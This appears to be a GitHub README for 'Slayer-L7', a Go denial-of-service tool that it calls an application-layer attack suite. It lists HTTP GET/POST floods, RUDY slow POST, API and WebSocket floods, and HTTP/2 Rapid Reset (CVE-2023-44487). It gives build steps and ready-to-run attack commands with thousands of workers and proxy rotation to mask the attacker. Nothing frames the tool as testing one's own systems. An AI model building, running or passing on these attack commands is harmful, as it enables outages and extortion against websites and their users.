Syn2Much/Slayer-L7
GitHub: Syn2Much/Slayer-L7
Stars: 24 | Forks: 5
# ⚔️ Slayer 7 - Application Layer Attack Suite
## Methods
| Method | Description |
| ------------ | ------------------------------------------------------------ |
| `httpget` | Standard HTTP GET flood |
| `httppost` | HTTP POST with randomized form / JSON payloads |
| `rudy` | Slow POST — large `Content-Length`, drips bytes |
| `apiflood` | JSON API flood with randomized endpoints and nested payloads |
| `rapidreset` | HTTP/2 Rapid Reset (CVE-2023-44487) |
| `wsflood` | WebSocket connection flood with mixed traffic |
## Installation
### Prerequisites
* **Go 1.21+**
### Quick Setup
git clone https://github.com/Syn2Much/Slayer-L7.git
cd Slayer-L7
go mod tidy
go build -o slayer .
## Usage
slayer -t [-m method] [-w workers] [-d duration] [-p proxyfile] [-v] [-r ms]
### Flags
| Flag | Default | Description |
| ---- | ------------ | --------------------------------------- |
| `-t` | *(required)* | Target URL (e.g. `https://example.com`) |
| `-m` | `httpget` | Attack method |
| `-w` | `2048` | Number of concurrent workers |
| `-d` | `30` | Duration (seconds) |
| `-p` | *(none)* | Proxy file path (omit for direct mode) |
| `-v` | `false` | Print request errors to stderr |
| `-r` | `0` | Delay in ms between requests per worker (0 = unlimited) |
### Dependencies
github.com/gorilla/websocket
golang.org/x/net/http2
golang.org/x/net/http2/hpack
## Examples
# Basic GET flood (60s)
./slayer -t https://target.com -m httpget -d 60
# POST flood via proxies (4096 workers)
./slayer -t https://target.com -m httppost -w 4096 -d 120 -p proxies.txt
# RUDY slow POST
./slayer -t https://target.com -m rudy -w 500 -d 300
# HTTP/2 Rapid Reset via proxies
./slayer -t https://target.com -m rapidreset -w 1024 -p proxies.txt
# WebSocket flood
./slayer -t https://target.com -m wsflood -w 2048 -d 60
# API JSON flood
./slayer -t https://target.com -m apiflood -w 2048 -d 90
# Rate-limited GET flood (max ~100 RPS across 10 workers)
./slayer -t https://target.com -m httpget -w 10 -d 60 -r 100
# Verbose mode — print errors to stderr while running
./slayer -t https://target.com -m httpget -d 30 -v
## Proxy File Format
One proxy per line.
Supports HTTP / HTTPS / SOCKS5 with optional authentication.
http://proxy1.example.com:8080
http://user:pass@proxy2.example.com:3128
socks5://proxy3.example.com:1080
## 👤 Author
**Syn2Much**
[](mailto:hell@sinnners.city)
[](https://x.com/synacket)
标签:EVTX分析